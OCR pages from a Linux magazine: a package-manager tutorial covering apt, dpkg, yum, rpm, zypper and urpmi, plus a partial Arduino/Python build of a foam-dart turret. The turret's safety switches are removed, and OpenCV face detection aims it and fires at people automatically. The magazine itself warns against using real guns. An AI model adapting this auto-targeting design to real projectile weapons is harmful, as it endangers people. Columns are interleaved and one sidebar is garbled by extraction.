  crime. For example, the Internet Watch Foundation (a UK                  introduction to the world of server management.
  organisation that blocks child sexual abuse content) needs
  to use Tor, as all its IP addresses are blocked by many of
                                                                           We’ve found it to be one of the easiest network
  the sites they are trying to investigate.                                services to run, and the developers deserve a good
     Ultimately, criminals have many methods of staying                    deal of praise for making it so straightforward.
  anonymous, but legitimate whistle-blowers, activists and
  journalists often have only one: Tor. That’s why so many
                                                                            Ben Everard is the co-author of the best-selling Learn Python
  people are prepared to support the network even though it is              With Raspberry Pi, and is working on a best-selling follow-up
  sometimes used for nefarious purposes.                                    called Learning Computer Architecture With Raspberry Pi.




                                                                              www.linuxvoice.com                                                                                    85
     TUTORIAL PACKAGE MANAGEMENT



                              LINUX 101: MASTER YOUR
          TUTORIAL
                              PACKAGE MANAGEMENT SYSTEM
                              apt-get, dpkg, yum, zypper… There are many ways to install
MIKE SAUNDERS
                              packages on your Linux box. Here’s everything you need to know.


                              P
                                       ackage management systems are both loved
 WHY DO THIS?                          and hated in the Linux world. On the one hand,
 • Understand how                      they provide efficient ways to install and
   packages work and what
   exactly they provide       remove software, with everything neatly bundled up.
 • Learn vital admin skills   (Contrast this to Windows, where a setup.exe typically
   to manage packages         scatters all sorts of stuff all over your hard drive and
   outside of the GUI         registry, and running the “uninstaller” doesn’t get rid of
 • Discover how packaging     everything. You can even find third-party “uninstall”
   systems work across
   other distros              tools designed to clean up this hideous mess.)
                                 On the other hand, package management systems
                              often make it difficult to get the latest hot new
                              applications. You have to find the right repository for
                              your distribution, and make sure dependencies are
                              satisfied (usually this is automatic, but not always),       Here’s the metadata for the Debian Vim package, obtained
                              and so forth. And if you’re completely new to Linux,         with the dpkg -I command. Note the highlighted line,
                              you might find all of the terminology here baffling. So      showing dependencies.
                              in this tutorial we’ll explore the two main packaging
                              systems used in GNU/Linux distributions, and provide           list GTK as a dependency in its metadata. Package
                              some advanced tips and tricks for long-time Linuxers           systems normally handle dependencies
                              as well.                                                       automatically, although it can get messy.
                                                                                             Repository An online store for packages. Most
                              Dissecting the jargon                                          Linux distributions have their own repositories (or
                              First of all, let’s clear up any confusion by defining         “repos”) with up to tens of thousands of packages.
                              some terms:                                                    Some software developers make their own
                                 Package A single, compressed file that contains a           third-party repositories that can be used alongside
                                 program or related files such as a supporting code          the official distro ones.
                                 library, documentation, artwork or video game level         These terms, and the general workings of
                                 data. Some (usually small) programs are provided          packaging systems, apply across almost every Linux
                                 in single packages, whereas larger application            distribution. There are some technical differences in
                                 suites like KDE and LibreOffice are supplied in           the implementation of packaging systems, and
                                 multiple packages (to make updates easier, as you         command names vary, but the underlying principles
                                 don’t have to download the whole lot each time).          are the same.
                                 Dependency Every package includes some                      Most desktop-focused distros include graphical
                                 metadata, such as other packages it depends on.           package managers; in this tutorial, however, we’ll
                                 For instance, the AbiWord word processor uses the         focus on the command line tools, as they’re usually
                                 GTK toolkit for its interface – a library that is         much more versatile and teach you a lot more about
                                 supplied separately – so the AbiWord package will         what’s going on.


                                1    DEBIAN/UBUNTU: APT AND DPKG
                              Let’s start with the system used by Debian, Ubuntu              (This needs to be run as root, the administrator user,
                              and other distros based on these two. Apt (which             hence the sudo command at the start. On Ubuntu-
                              stands for the “Advanced Packaging Tool”) provides a         based distros you’ll be asked for your user account
                              suite of utilities for locating, downloading and             password. If you’re on Debian, the command is su -c
                              managing dependencies of packages.                           “apt-get install abiword” – modify the rest of the
                                The apt-get tool installs a program. For instance,         sudo commands in this tutorial to use su -c with
                              say we want AbiWord; open a terminal and enter:              quotes instead. You’ll be asked for the root password
                              sudo apt-get install abiword                                 in this case.)



86                                                            www.linuxvoice.com
                                                                                                PACKAGE MANAGEMENT TUTORIAL

  Before downloading AbiWord, Apt will tell you which
dependencies it’s going to retrieve, show you how
much drive space is going to be used, and check for
confirmation. Hit Enter to go ahead, or N to stop. Apt
will pull the packages from the internet repositories
and install them.
  Now, that apt-get command is great when you
know exactly what you’re looking for – but what if you
don’t know the name of a package? Try this:
apt-cache search “word processor”
   Aha! This lists all packages in the distro’s database
that have “word processor” in their descriptions. (If it’s
a long list, pipe it into the less text viewer, like so:
apt-cache search “word processor” | less. Hit Q to
quit the viewer.) Note that we don’t need sudo in this
case, because merely searching the database isn’t an
administrative command that changes system files.
   The next question you’re probably asking is: how
does Apt retrieve and store all of this information?
                                                                                                                              At http://backports.debian.
Every time you do this command:                                     temporarily for some reason. If the apt-get remove
                                                                                                                              org you’ll find repositories
sudo apt-get update                                                 command also deleted your hand-crafted config file,       that provide up-to-date
  Apt retrieves the latest package information from                 you’d be gutted.) So to remove all configuration files:   applications for older
the repositories, and stores the details in /var/lib/               sudo apt-get remove --purge abiword                       Debian stable releases.
dpkg. (Also note that Apt caches packages in /var/                    This has totally removed the program from the
cache/apt after downloading, which can take up a lot                system, but its dependencies still remain. If you want
of space, so use sudo apt-get clean to remove them.)                to remove those as well (providing that they’re not
  Note that this command merely updates the                         being used by any other program) then follow up the
database, and doesn’t actually update your system to                previous command with:
the latest version of the packages. For that you need               sudo apt-get autoremove
to enter:
sudo apt-get upgrade                                                dpkg
                                                                    There’s also a more low-level dpkg utility, which              PRO TIP
Begone, unwanted apps                                               handles the nitty-gritty of installing and removing        To extract
                                                                                                                               Xxxxx    xxx xxx
                                                                                                                                             a Deb
                                                                                                                                                 xx file
                                                                                                                                                    xxxxbyxxx
There are various ways to remove a program, which                   packages. Here are some of its more useful                 xx xxxrun
                                                                                                                               hand,        ar x <filename.
                                                                                                                                         xx xxxx xxx xxx xxx
                                                                                                                               deb>.
                                                                                                                               xx xxxxThisxxxcreates
                                                                                                                                              xx xxx xxthree
                                                                                                                                                          xxxx
may seem a bit odd at first, but when you compare it                commands:                                                  xxx xx
                                                                                                                               files  in xxx
                                                                                                                                         the xx
                                                                                                                                             current
                                                                                                                                                xxxx xxx xx
with the aforementioned mess on Windows it makes                      dpkg -l lists all installed packages. You can show       xxx xx xxxxdata.tar.gz
                                                                                                                               directory:     xxx xx xxx xx
a lot of sense. First the simplest way:                               the details (version number and short description)       xxxx xxx xx xxx
                                                                                                                               (containing    the program’s
                                                                                                                                                  xx xxxxxx
                                                                                                                               xxx xxtypically
                                                                                                                               files,    xxx xx xxxx
                                                                                                                                                extracted
                                                                                                                                                       xxx xx
sudo apt-get remove abiword                                           for a single package with dpkg -l abiword.               xxx xx
                                                                                                                               into  /usr);
                                                                                                                                         xxxxcontrol.tar.gz
                                                                                                                                              xxx xx xxx xx
  This gets rid of the program, but not any system-                   dpkg -i <package.deb> this installs some package         xxxx xxx xx xxx
                                                                                                                               (containing    the package’s
                                                                                                                                                  xx xxxx
wide configuration files. (This isn’t a big deal with a               (for example, package.deb) that you have                 metadata, such as
                                                                                                                               dependencies); and
desktop program, but imagine if you’ve spent hours                    downloaded. It’s a useful command if you’ve got a        debian-binary (the
configuring a mail server, and need to remove it                      program off a website, although repositories are the     version of the .deb file
                                                                      better method.                                           format being used,
                                                                                                                               usually 2.0). Sometimes
                                                                      dpkg -L abiword lists all files inside the package.
  Advanced tip: Converting RPMs to Debs                                                                                        the control and data files
                                                                      dpkg -S /path/to/file this shows which package           have different
  It should be an absolute last resort, but if you really need it     contains /path/to/file. So dpkg -S /bin/ls shows         compression formats, and
  you can use a tool called Alien to convert RPM packages to                                                                   end in .bz2 or .xz.
                                                                      that it’s part of the coreutils package.
  Deb files and vice-versa. However, due to the technical and
  implementation differences between these package
  formats, along with the usual plethora of different file          Adding repositories
  locations and library versions across distros, the results are    Debian-based distributions store their repository
  rarely pretty. To use it (as root):                               information in /etc/apt/sources.list. This is a plain
  apt-get install alien                                             text file containing URLs from which packages can be
  alien --to-deb <filename.rpm>
                                                                    retrieved, along with the codename of the distribution
      (Use --to-rpm if converting the other way round.) If you
  want pre- and post-installation scripts to also be                (eg “wheezy” for Debian 7) and the types of packages
  transferred into the new package, add the --scripts option.       (eg “main” for free/open source software from the
      For small, single-package programs with limited (or           main Debian developers, “non-free” for packages that
  statically compiled) dependencies, Alien can sometimes be a       have licence issues etc.) You can add repositories to
  life-safer when you have no other options. But it’s a bit of a
                                                                    that list as you discover them on the web – just
  hack job, and shoehorning one distro’s package into
  another distro usually results in a broken app. Beware!           remember to do apt-get update afterwards so that
                                                                    your local database is in sync.



                                                                      www.linuxvoice.com                                                                         87
     TUTORIAL PACKAGE MANAGEMENT

                                     If you plan to add multiple repositories from
                                  different sources, it’s better to place them in separate
                                  files in the /etc/apt/sources.list.d directory. This
                                  makes them easier to manage and remove, and
                                  means your distro can manage the main sources.list
                                  file without getting confused by your modifications.
                                     If you’re using Ubuntu or Mint, you’ll often come
                                  across PPAs (Personal Package Archives). These are
                                  repositories set up by developers and third-party users
                                  to provide packages that aren’t officially in the
                                  distribution – or newer versions of packages. Most               Many PPAs are available for Ubuntu and Mint, providing
                                  flavours of Ubuntu and Mint only receive package                 packages that aren’t officially part of the distros.
                                  updates for security holes or bugfixes, and you have
                                  to upgrade to a new version of the distribution every            Studio for recent versions of Ubuntu. On his page at
                                  six months if you want the latest software – not                 https://launchpad.net/~paolorotolo/+archive/
                                  always an ideal situation. With a PPA, you can get new           android-studio you’ll see that his PPD is called
                                  versions of software for your existing distribution,             ppa:paolorotolo/android-studio. To install the
                                  without having to wait or upgrade, so they’re very               program you’d enter the following:
                                  popular among users who want to live life on the                 sudo apt-add repository ppa:paolorotolo/android-studio
                                  bleeding edge.                                                   sudo apt-get update
                                     A PPA typically includes the name of the developer            sudo apt-get install android-studio
                                  along with the name of the program, so here’s an                   You’ll find many PPAs on the web, and they’re a
                                  example: Paulo Rotolo has packaged up Android                    great way to try new apps quickly.


                                     2     RED HAT, FEDORA, OPENSUSE: YUM, ZYPPER, URPMI
                                  Let’s move on to the RPM-based distros. RPM was                  latest packages in the repositories (yum update). To
                                  originally the “Red Hat Package Manager”, due to its             get rid of unused dependencies that were installed by
                                  origins in that distro, but today it’s known as the “RPM         programs you’ve since removed, use yum
                                  Package Manager” (yes, a recursive acronym) due to               autoremove. And to remove cached packages after a
                                  its use in many other distros. Unfortunately, things get         big download, enter yum clean packages.
                                  a bit fragmented here, with each RPM-based distro                   You can get detailed information about a package,
                                  using its own toolset. Most of the commands are                  such as whether it’s installed or not, like so:
                                  similar though.                                                  yum info abiword
                                     Fedora and Red Hat Enterprise Linux use the Yum                 And to see which dependencies a package has, try
                                  package manager for searching and downloading                    yum deplist <package>. To generate a complete list
                                  packages, while the rpm command does the work of                 of all installed packages, enter yum list installed.
                                  installing. To find a program, do:                                 Yum stores its repositories in plain text files in the
                                  yum search abiword                                               /etc/yum.repos.d directory; to add a new repository,
                                     And to install (switch to root with su first):                use this command:
                                  yum install abiword                                              yum-config-manager --add-repo <URL>
                                    Removing packages is easy (yum remove                          (Simply delete the file in /etc/yum.repos.d to remove
                                  <package>), as is updating the distribution to the               the repository.)


 Advanced tip: CheckInstall                                                                        RPM
                                                                                                   Yum is the tool you’ll want to use most of the time, but
 In LV005 we looked at compiling programs           accordingly. So instead of entering sudo       for more low-level work involving individual packages
 from their source code (p86). You may recall       make install, you’d enter sudo checkinstall.   that you’ve downloaded, there’s the rpm command.
 that the make install step places the                 If we do that using Alpine (the example     For instance, rpm -qpi <package.rpm> displays
 program’s files in your filesystem – usually in    app that we compiled last issue), we end up
                                                                                                   information about a locally stored package (qpi
 subdirectories of /usr or /usr/local. Wouldn’t     with a package called alpine_2.11-1_i386.
 it be better, though, if you could bundle up       deb, and CheckInstall has also installed it.   stands for ‘query package information’), and rpm -i
 the newly installed files into a package, for      Now we can easily copy that package to         <package.rpm> installs it.
 easy distribution and removal?                     another machine (as long as it’s running the      You can also use rpm to find out which package a
     Well, you could learn the highly complicated   exact same distro!) and remove it using the    file belongs to:
 art of making packages by hand, or use             commands mentioned earlier in this guide.
                                                                                                   rpm -qf /path/to/file
 CheckInstall instead (it’s provided in most           Note: packages generated by CheckInstall
 distros’ repositories). This monitors all files    are very specific to your own distro setup,      And to list the contents of a package, use rpm -ql
 created in a make install operation and            and lack proper meta data information, so      <package>.
 generates and installs a package                   they may not work elsewhere.                     Unusually, RPM uses the cpio archive format for its
                                                                                                   packages – a format that few people have heard of.



88                                                                      www.linuxvoice.com
                                                                                           PACKAGE MANAGEMENT TUTORIAL

Consequently, it can be difficult to remember the
options used to extract files. If you need to extract a
.rpm file, first move it into a separate directory (to stop
it potentially overwriting files in the current one), and
then enter this command:
rpm2cpio <package.rpm> | cpio -idmv
   Of course, you should replace <package.rpm> here
with the real package filename. This creates a
directory structure in the current directory that would
normally be extracted into the root (/) directory when
installing the package.
   It’s worth noting that Yum will be around for a few
more Fedora releases, but ultimately the goal of the
distro developers is to move to a new package
manager, DNF, which forked from Yum in 2012. DNF
should be largely compatible with Yum, so most of the
commands will be identical or similar, and in Fedora
22 entering yum will actually run dnf and display a
                                                              See http://en.opensuse.org/images/1/17/Zypper-cheat-sheet-1.pdf for a handy Zypper
warning message.
                                                              cheat sheet (http://tinyurl.com/a7dbnl6 for the second page).

OpenSUSE and Mageia
Let’s look at the most common commands for these              distros more easily, and you know more about what’s
distributions. OpenSUSE and Mageia are also                   going on under the hood.
RPM-based distros, so they have the rpm tool
available and it works in the same way as in Fedora,          Other packaging systems
but they have their own higher-level package                  While Deb and RPM dominate the Linux world, some
management tools. OpenSUSE uses Zypper, while                 distros have their own packaging systems that are
Mageia (the Mandriva spin-off) has Urpmi. The                 worth knowing about. Arch Linux, for instance, sports
following commands show how to:                               the Pacman system, which is very highly regarded
 1 Find a package or program                                  among its users. Arch can be a challenging
 2 Install a package                                          distribution to maintain, due to the fact that it’s
 3 Remove a package                                           constantly changing, but Pacman handles the task of
 4 Update the package database                                upgrading with aplomb.
 5 Update the system                                             Slackware, meanwhile, is famed for being one of the
 6 Add a repository                                           most traditional Linux distros (and it’s also the
 7 Get information on a package                               longest-running Linux flavour in existence). It’s often
   First in OpenSUSE:                                         criticised for not having a package manager, but that’s
1. zypper search <package>                                    not entirely fair, as we explore on page 26.
2. zypper install <package>                                      While most packaging systems take the approach
3. zypper remove <package>                                    of extracting data into /usr, and perhaps with some
4. zypper refresh                                             bits and bobs in /etc and /var, there are some more
5. zypper update                                              ambitious systems that attempt to make things
6. zypper ar <URL> <alias>                                    simpler. In the Gobo Linux distribution, for example, all
7. zypper info <package>                                      applications are installed in the /Programs directory,
  And then for Mageia:                                        and you can have multiple versions of the same
1. urpmf --summary <search word>                              application. So you could have /Programs/
2. urpmi <package>                                            LibreOffice, and inside that directory you’d have
3. urpme <package>                                            subdirectories for 4.1, 4.2 and so forth. This keeps
4. urpmi.update -a                                            programs neatly separated from one another, and
5. urpmi --auto-select                                        makes it easy to install and delete them – you don’t
6. urpmi.addmedia <name> <URL>                                need the package manager to do a lot of black magic.
7. urpmq -i <package>                                            Shared libraries are a potential problem here, but
  The urpmf command is especially useful if you’re            Gobo Linux works by using symbolic links in the
missing a dependency, and you need to find out which          /System/Index/lib directory. So you might have GTK
package has it. For instance, if you’re trying to compile     installed in /Programs/GTK+/3.0, and programs that
a program and the build script complains that the             use it won’t necessarily know that it’s there. But they
foobar.h header file is missing, you can do urpmf             will find libgtk.so in /System/Index/lib.
foobar.h and find out which package contains it.
  So, those are the major Linux package managers               Mike Saunders has been installing, removing, creating and
                                                               breaking packages for 15 years. There’s no stopping him!
covered – now you should be able to jump between



                                                                www.linuxvoice.com                                                             89
     TUTORIAL ROBOTIC WEAPONRY



                            ARDUINO & PYTHON:
          TUTORIAL
                            BUILD ROBOTIC WEAPONRY
                            Amass a drone battalion armed to the teeth with foam
  BEN EVERARD
                            darts – and take over the world!


                            T
                                    here’s something incredibly geeky about Nerf
 WHY DO THIS?                       guns. Perhaps it’s because they give us a safe
 • Control hardware                 way to live out sci-fi fantasies without the risk
   with the Python
   programming language     of actually getting shot by a phaser, or perhaps it’s
 • Learn robotics in a      because they’re built in such a way that they’re easy to
   semi-practical context   take apart and hack.
 • Take over the world!       We’ve taken one of these geek toys and fitted it out
                            with tracking software and mounted it on a robotic
                            arm. Now it automatically targets any humans that
                            should stray into its range. That should send a
                            message to anyone who tries to break into LV Towers!
                              The most important part of any such weaponry is
                            the gun. We used a Nerf N-Strike Elite Stryfe Blaster,      The weapon of mass distraction, ready to strike fear into
                            because this model has a semi-automatic firing              anyone who trespasses into our geek lair.
                            system that makes it easier to control electronically,
                            though there are others that could work.                    co.uk/p/robotic-arm-kit-with-usb-pc-interface-
                              The semi-automatic firing system has two parts.           a37jn). To give our killer robot sight, we added a USB
                            The automatic part consists of two spinning discs           webcam. This, when coupled with the OpenCV library
                            that accelerate the foam dart down the barrel. The          and a bit of Python, enables our bot to automatically
                            manual part is a lever assembly that pushes the foam        target people’s faces.
                            dart forward into these spinning discs.                        As well as the gun, mount and webcam, we needed
                              With the gun picked, we just needed a way of              a few pieces to bring it all together. These were:
                            aiming it, and that meant we had to mount it on                1 x servo
                            something that the computer could move. The only               1 x Picoborg motor controller
                            real specifications for the mount were that it had two         2 x 4AA battery holders
                            degrees of freedom (so that it could aim both                  4 x 6.3kΩ resistors
                            horizontally and vertically), and that it could support        4 x 200Ω resistors
                            the weight of the gun. We used a generic Robotic Arm           3 x sachets Sugru
                            with PC USB interface from Maplin (www.maplin.                 1 x Arduino Uno R3


                              1   THE BUILD
                            There are three basic types of Nerf gun: manual,            tying a string to an arm on a servo and rotating the
                            semi-automatic and fully-automatic. Our semi-               servo 160 degrees to pull the string forward. The other
                            automatic gun needed an additional mechanism                end of this string is attached to the firing pin. Servos
                            needed to pull the firing pin forward about two inches.     are motors that are geared and have a feedback
                            This pushes the dart forwards far enough for the            potentiometer. This means that rather than just rotate
                            spinning discs to pick it up and fling it forward.          them, you can set them to move to a defined position.
                            Normally this is done by the trigger. However, we took
                            out almost all of the trigger assembly, including a         The trigger mechanism
                            couple of mechanical safeguards that prevented the          The trigger requires a reasonably hard pull to fire and
                            trigger from firing when there weren’t bullets in the       this could be more than what many small servos can
                            chamber. These were all screwed in place, so could be       provide. We used a Tower Pro MG995 servo, which is
                            removed easily. We left only the final lever, which was     fairly powerful and good value (usually around £10).
                            also used to hold the firing pin in place.                  We mounted this on the outside of the Nerf gun using
                               Linear actuators are electrically controlled devices     a blob of Sugru (though any strong glue would do),
                            for pushing things forwards. However, they’re heavy         and cut a section out of the side of the gun to allow it
                            and expensive, so we opted for a simpler method of          to access the firing mechanism.



90                                                          www.linuxvoice.com
                                                                                                             ROBOTIC WEAPONRY TUTORIAL


  Raspberry Pi
  We initially tried to write this project to run off the GPIO pins      The way around this is to offload all the input and
  of a Raspberry Pi, but for several reasons, it just didn’t work.    output functions to a powered expansion board. This
  The most demanding part of controlling this hardware is             board needs to support driving a servo and have at least five
  generating the pulses to communicate with the servo. Turning        GPIO pins. In our opinion, the best expansion for this is an
  them on and off very quickly in software is possible, but not       Arduino, and we would recommend using the same hardware
  really viable when there’s so much other stuff demanding            setup on a Raspberry Pi or similar small computer. The only
  CPU time. The solution to this is Pulse Width Modulation            necessary change is to the scaling factors for the images in
  (PWM), a hardware feature that enables you to control rapid         the OpenCV detection. This will make it easier for the Pi to
  pulses without much CPU intervention. The Pi does support           process the data. Of course, this does mean that the image
  PWM, though it isn’t available in the popular RPi.GPIO              recognition would be less capable. The trade-off is between
  Python module, so we used the RPIO GPIO module instead              the frame rate of the video (and detection), and the accuracy
  (http://pythonhosted.org/RPIO).                                     of the face-tracking.
     However, when we tried to use a Pi to power the first soldier       Since this method of using an Arduino doesn’t use any of
  in our robot army, we found that it became very unstable.           the GPIOs, it should be possible to run it on almost any Linux-
  We strongly suspect that this is because of the high power          capable board (the OpenCV Python module is quite portable),
  requirements of running both the CPU-intensive OpenCV               and something like the Odroid U3 might be a better (though
  software, the GPIOs, and the PWM. Even with all the USB             more expensive) option than the Pi. Alternatively, the Udoo
  peripherals on a powered USB hub, we found it unreliable. It        computers include an Arduino built in, so they should allow
  may be possible to get around this with some tweaking.              you to run the entire control from a single board.


   To avoid damaging either the servo or the gun, we                  the distance that the firing pin is supposed to move.
tied the servo to a coiled elastic band, and then tied                Before fully assembling the hardware, we got all of the
this coiled elastic band to the trigger mechanism. This               control circuits and software working, because it
provided a small amount of stretch in the event that                  would be a lot harder to change things once it was all
we should accidentally set the servo to pull beyond                   stuck together.


  2    CONTROL
To control the gun and get feedback from the arm, we                  1 reset the trigger
used an Arduino Uno Rev3. The Uno is our                              2 pull the trigger
microcontroller of choice because of its ease of use                  3 stop the spinning

and the number of support and code examples that                      4 start the spinning. Using this simple protocol, we

exist for it online.                                                  could control the hardware as we needed.
   Arduinos have a programmable processor and
loads of input and output pins (the Uno has 14 digital                We have learned nothing from Skynet
input/output pins and six analogue input pins). The                   Now let’s take a look at how the hardware connects
processor is far simpler than the sort of CPU you’d                   together. Almost all servos have three wires to control
find in a normal computer, so doesn’t support                         them: a positive, a negative and a control. The control
anything like a normal operating system. Instead, you                 wire can be connected directly to a pin on the Arduino.
write your programs on a normal computer and                          The positive and negative wires need to be connected
upload them onto the Arduino.                                         to a 5–6V voltage source. The Arduino does have a
   The Arduino program for this project has to handle                 5V voltage pin, but it can’t supply enough current to             The circuit diagram for
two elements: it has to listen to the sensors that we                 drive the servo. Instead, we used a 4 AA battery                  how the motor and servo
built to detect excessive movement and pass this on                   holder. In order for both the control signal and the              are connected to the
to the computer, and it has to take commands from                     drive current to be able to flow properly, you also need          Arduino.
the computer and control the spinning cylinders and
the servo accordingly. These requirements mean that
we have to shuffle information back and forth                                  Arduino                             Servo
between the computer and the Arduino. The easiest                              -VE
way to do this is to send text over a USB serial
connection, which is established automatically when                                      Pin 10
you plug the Arduino into a USB port.                                                    Pin 13
   The letters R, G, U and D are sent by the Arduino to                                                                                       Picoborg
let the computer know that the arm has moved as far
as it can. R and G are for anti-clockwise and clockwise
respectively (we used red and green wires). U and D
are for the up and down end stops.                                                                                                               Motor
   To avoid confusion, the commands from the
computer to the Arduino are the numbers 1 to 4:



                                                                          www.linuxvoice.com                                                                      91
     TUTORIAL ROBOTIC WEAPONRY

The rotation end stops are                                                               as ‘shields’ that slot into the headers of the board.
mounted on opposite sides                                                                Some motor controllers have speed controllers, or
of the base and held in                                                                  direction controllers, or the ability to electronically
place with Sugru.                                                                        brake the motor – all features that are often needed,
                                                                                         but completely unnecessary for us.
                                                                                            We didn’t happen to have an Arduino motor
                                                                                         controller in the LV workshop (and this definitely
                                                                                         wasn’t because someone forgot to order one). We did
                                                                                         have a Picoborg motor driver that’s designed for the
                                                                                         Raspberry Pi. Since all this does is attach the pins
                                                                                         from the Raspberry Pi header to Field Effect
                                                                                         Transistors (FETs) that are used to drive the motors,
                                                                                         we can easily use the board with our Arduino. All we
                             to connect the negative output on the battery to the        need to do is use a wire to attach one of the Arduino
                             Arduino ground.                                             pins to the appropriate place for the Raspberry Pi
                                Servos hark from the days before microcontrollers        GPIO pin (in this case pin 4), and similarly connect the
                             became common, and so their control mechanism is            ground to the right pin. Once this is connected, the
                             a little unusual. The instructions that tell the servo      power supply and motor output wires need to be
                             what position to put the arm in are sent as a series of     soldered in place, and then turning the pin on or off on
                             pulses. These pulses can either be very short or quite      the Arduino will turn the motor on and off.
                             long, and the length of the pulse denotes the position
                             the arm should be in. Fortunately, you don’t need to        Control the servo
                             worry about any of this as there are libraries to control   The code to control the trigger servo and the motors
                             the pulse frequency and duration for just about every       is as follows (an extract from the loop() function):
                             hardware platform that supports servos.                      if (Serial.available()) {
                                                                                            data_in = Serial.parseInt();
                             The firing mechanism                                           if (data_in == 1) {
                             For the Arduino, that library is called Servo, and it            myservo.write(155);
                             comes as standard. You only need to create a servo             }
                             object that’s attached to the correct pin, and then            if (data_in == 2) {
                             write the value to it that corresponds to the position           myservo.write(25);
                             you want it in. A couple of examples called knob and           }
                             sweep detail all the basic usage and come with the             if (data_in == 3) {
                             Arduino IDE.                                                     digitalWrite(spinPin, LOW);
                                Once the servo has pulled the dart forwards, it’s           }
                             picked up by spinning discs that accelerate it. These
                             are powered by a simple DC motor that needs 5 or 6V
                             applied across it. In order to get to the wires that
                             power the motor, we needed to open up the gun.
                             Inside there was a simple circuit that consisted of a
                             trigger switch for the motors, two safety switches, and
                             a cut-off. We removed all this, and were just left with
                             two wires (one red and one black) heading forwards to
                             the disk motors in the front of the gun. These are what
                             we needed to supply power to in order to shoot.
                                As with the servo, the Arduino can’t deliver enough
                             power for them to run, so instead we need to use an
                             Arduino output to switch a larger current. This is when
                             a small current from a controller is used to turn a
                             switch on or off, and this switch connects or
                             disconnects a more powerful source of power (in our
                             case four AA batteries) to the motors. We used a
                             separate set of batteries to the ones driving the servo.
                             In principle, you could try to set up a single power
                             source to drive all of the motors on this project.
                             However, we kept them all separate both to prolong
                             the battery life and to avoid any awkward power-
                             supply related issues.
                                There are a huge array of motor drivers available,
                             and plenty of them can attach directly to the Arduino       The vertical end stops are combined into a single unit.



92                                                           www.linuxvoice.com
                                                                                                      ROBOTIC WEAPONRY TUTORIAL

     if (data_in == 4) {
       digitalWrite(spinPin, HIGH);                               Safety
     }                                                            We know someone will ask this, so yes, this same method
 }                                                                would work with a BB gun, paintball gun, pistol, assault
This simple code enables the Python program to                    rifle or rocket launcher, but please, PLEASE, don’t do it.
control the gun as it needs.                                      This machine doesn’t think before it pulls the trigger, it
                                                                  simply reacts to an image recognition that’s prone to mis-
  We won’t go into details of how we built the arm
                                                                  classification. The consequences of a poorly aimed, poorly
because we simply followed the instructions that                  timed foam dart are quite small. The same cannot be said
came with it. However, once it was built, we did have             of BBs and paintballs (and surely we don’t need to spell out
to make some modifications. It its raw state, it had              why it’s a bad idea to attach a lethal weapon to a computer
only one-way communication with the computer. That                – just watch Terminator!).
                                                                      The foam darts fired by Nerf guns are fairly safe, and
meant that the computer could tell it to move, but it
                                                                  should be safe for most children old enough to assemble
didn’t feedback any information about its position. For           such a project (Hasbro, the maker of Nerf guns, says they’re
the general operation of the gun, this wasn’t a huge              safe for ages 8 and up). That said, it’s still a good idea to
problem; however, it did mean that the computer had               wear eye protection, especially while testing.
no way of knowing if the arm had reached its limit of
movement in any one direction.
                                                                  rcount = 20000;
Protect the mechanism                                         }
We built some simple sensors out of wire with a hook
bent in the end, and another wire looped around it. As        if(digitalRead(gPin) == HIGH && gcount == 0) {
the robot moves, the loop slides up and down the                Serial.write(“g\n”);
wire. Here the wire is insulated by plastic, so there isn’t     Serial.write(“g\n”);
a connection, but when the loop reaches the hook,               gcount = 20000;
there isn’t any wire, so the circuit is completed, and        }
this signals the microcontroller.
   A couple of resistors (one pull-down and one                   if(digitalRead(uPin) == HIGH && ucount == 0) {
protection) are needed to make sure that the                      Serial.write(“u\n”);
microcontroller reads the input correctly. See figure 3,          Serial.write(“u\n”);
below, for the circuit diagram. We built this simple              ucount = 20000;
circuit on a breadboard.                                      }
   These readings are then sent over the serial
connection with the following (from the main loop):           if(digitalRead(dPin) == HIGH && dcount == 0) {
 if(rcount > 0) { rcount--; }                                   Serial.write(“d\n”);
 if(gcount > 0) { gcount--; }                                   Serial.write(“d\n”);
 if(ucount > 0) { ucount--; }                                   dcount = 20000;
 if(dcount > 0) { dcount--; }                                 }
                                                                This works in a slightly unusual way. It writes the
 if(digitalRead(rPin) == HIGH && rcount == 0) {               value to the serial line twice to make sure that it is
   Serial.write(“r\n”);                                       sent properly, because there isn’t much error checking
   Serial.write(“r\n”);                                       on a serial connection.




                         Arduino
                         +VE
                         -VE

                                               220 Ohm
                                       Pin 7
                                       Pin 6
                                      Pin 11
                                      Pin 12


                                                                                                       6.2 KOhm
                                                                                                                                  Figure 3. The two sets of
                                                                                                                                  resistors make sure that
                                                                                                                                  the pin reads correctly
                                                                                                                                  when the circuit is open
                                                                                                                                  and closed.



                                                                  www.linuxvoice.com                                                                          93
     TUTORIAL ROBOTIC WEAPONRY

The fully assembled                                                                             to use the Arduino. There isn’t a Linux driver for the
weapon primed and ready                                                                         device we used, but the folks at www.MagPi.com
to fire. It needs long wires to                                                                 have decoded the USB instructions needed to move
allow it to move freely, but                                                                    the arm, and so we programmed it by sending the
this can lead to it looking a                                                                   necessary commands via the PyUSB module. We’ll
bit like a bird’s nest.                                                                         only cover the commands we need, but for more
                                                                                                information, see the article at www.themagpi.com/
                                                                                                issue/issue-3/article/skutter-write-a-program-for-
                                                                                                usb-device/.
                                                                                                   First you need to download PyUSB, the module
                                                                                                we’ll use to send commands to the arm (http://
                                                                                                sourceforge.net/projects/pyusb). Unzip this and
                                                                                                move into the directory it created and install it with:
                                     It also uses a loop counter to stop it sending the         sudo python setup.py install
                                  message too frequently. This loop will run much                 The arm can then be controlled with code such as:
                                  quicker than the loop in the control program that             import usb.core, usb.util, time
                                  reads the data line. By using these counters, which           RoboArm = usb.core.find(idVendor=0x1267, idProduct=0x0000)
                                  limit the message to once every 20,000 loop cycles,           RoboArm.ctrl_transfer(0x40,6,0x100,0, [16,0,0], 1000)
                                  we ensure that we won’t clog up the main program                The ctrl_transfer() call sends the instruction to the
                                  with thousands of duplicate messages, but that we’ll          arm. The numbers in the square brackets specify the
                                  still keep sending it frequently enough to make sure          exact movement, as you’ll see in the final code.
                                  that everything runs smoothly.                                  If you’re using a different mount or arm, you may
                                     The arm is controlled via the USB port, so unlike the      need to control it via the Arduino. This should be fairly
                                  rest of the hardware, we can send instructions to it          easy to do by extending the serial commands to
                                  directly from our main Python program and not have            include extra ones to move the arm.


                                    3    TRACKING
                                  We’ve now covered everything we need to control the                 stop_d = True
                                  hardware, so we need to create the software that will               RoboArm.ctrl_transfer(0x40,6,0x100, 0, [0,0,0], 1000)
                                  actually target people who happen to pass by.                    As the Arduino sends out commands, this reads
                                     Our control software will run in a loop that goes as       them in using the Python serial module (see the full
                                  follows:                                                      code, which you can grab from www.linuxvoice.com/
